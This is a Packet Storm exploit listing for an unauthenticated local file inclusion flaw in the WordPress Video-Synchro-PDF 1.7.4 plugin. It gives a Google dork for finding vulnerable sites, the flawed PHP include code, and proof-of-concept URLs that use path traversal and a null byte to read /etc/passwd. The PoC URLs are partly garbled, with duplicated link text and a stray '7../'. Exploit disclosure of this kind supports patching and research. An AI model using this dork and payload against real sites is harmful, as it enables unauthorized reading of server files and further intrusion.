packet storm
what you don't know can hurt you

| Home | Files | News | About | Contact | &[SERVICES_TAB] | Add New |

WordPress Video-Synchro-PDF 1.7.4 Local File Inclusion

Authored by Hassan Khan Yusufzai   Posted Mar 30, 2022

WordPress Video-Synchro-PDF plugin version 1.7.4 suffers from a local file inclusion vulnerability.

tags | exploit, local, file inclusion
SHA-256 | f94520cb3421369e072051761bcdb9d992081457e9af1fbf068b1e7431481880   Download | Favorite | View

---

Related Files

Share This

Like 0   Tweet   LinkedIn   Reddit   Digg   StumbleUpon

Change Mirror   Download

```
# Exploit Title: WordPress Plugin video-synchro-pdf 1.7.4 - Local File
Inclusion - Unauthenticated
# Google Dork: inurl:/wp-content/plugins/video-synchro-pdf/
# Date: 29-03-2022
# Exploit Author: Hassan Khan Yusufzai - Splint3r7
# Vendor Homepage: https://wordpress.org/plugins/video-synchro-pdf/
# Version: 1.7.4
# Contact me: h [at] spidersilk.com

# Vulnerable File: video-synchro-pdf/reglages/Menu_Plugins/tout.php

# Vulnerable Code:

```
<?php
if ($_GET['p']<=NULL) {
  include(REPERTOIRE_VIDEOSYNCPDF.'reglages/Menu_Plugins/index.php');
}else{
  include(REPERTOIRE_VIDEOSYNCPDF.'reglages/Menu_Plugins/'.$_GET['p'].'.php');
}
```

Proof of Concept:

http://localhost/wp-content/plugins/video-synchro-pdf/reglages/Menu_Plugins/tout.php?p=
<http://localhost/wp-content/plugins/video-synchro-pdf/reglages/Menu_Plugins/tout.php?
p=../../../../../../../../../../../../etc/index>[LFI]
http://localhost/wp-content/plugins/video-synchro-pdf/reglages/Menu_Plugins/tout.php?p=
<http://localhost/wp-content/plugins/video-synchro-pdf/reglages/Menu_Plugins/tout.php?
p=../../../../../../../../../../../../etc/index>../../../../../../7../../../etc/passwd%00
```

Login or Register to add favorites

File Archive: November 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30			

Top Authors In Last 30 Days

Red Hat 186 files

Ubuntu 52 files

Gentoo 44 files

Debian 27 files

Apple 25 files

Google Security Research 14 files

malvuln 10 files

nu11secur1ty 6 files

mjurczyk 4 files

George Tsimpidas 3 files

File Tags

ActiveX (932)

Advisory (79,557)

Arbitrary (15,643)

BBS (2,859)

Bypass (1,615)

CGI (1,015)

Code Execution (6,913)

Conference (672)

Cracker (840)

CSRF (3,288)

DoS (22,541)

Encryption (2,349)

Exploit (50,293)

File Inclusion (4,162)

File Upload (946)

Firewall (821)

Info Disclosure (2,656)

File Archives

November 2022

October 2022

September 2022

August 2022

July 2022

June 2022

May 2022

April 2022

March 2022

February 2022

January 2022

December 2021

Older

Systems

AIX (426)

Apple (1,926)

Intrusion Detection (866)   BSD (370)
Java (2,888)   CentOS (55)
JavaScript (817)   Cisco (1,917)
Kernel (6,255)   Debian (6,620)
Local (14,173)   Fedora (1,690)
Magazine (586)   FreeBSD (1,242)
Overflow (12,390)   Gentoo (4,272)
Perl (1,417)   HPUX (878)
PHP (5,087)   iOS (330)
Proof of Concept (2,290)   iPhone (108)
Protocol (3,426)   IRIX (220)
Python (1,449)   Juniper (67)
Remote (30,009)   Linux (44,118)
Root (3,496)   Mac OS X (684)
Ruby (594)   Mandriva (3,105)
Scanner (1,631)   NetBSD (255)
Security Tool (7,768)   OpenBSD (479)
Shell (3,098)   RedHat (12,339)
Shellcode (1,204)   Slackware (941)
Sniffer (885)   Solaris (1,607)
Spoof (2,165)   SUSE (1,444)
SQL Injection (16,089)   Ubuntu (8,147)
TCP (2,377)   UNIX (9,150)
Trojan (685)   UnixWare (185)
UDP (875)   Windows (6,504)
Virus (661)   Other
Vulnerability (31,104)
Web (9,329)
Whitepaper (3,728)
x86 (946)
XSS (17,478)
Other

Site Links

News by Month

News Tags

Files by Month

File Tags

File Directory

About Us

History & Purpose

Contact Information

Terms of Service

Privacy Statement

Copyright Information

Hosting By

Rokasec

packet storm

Follow us on Twitter

Subscribe to an RSS Feed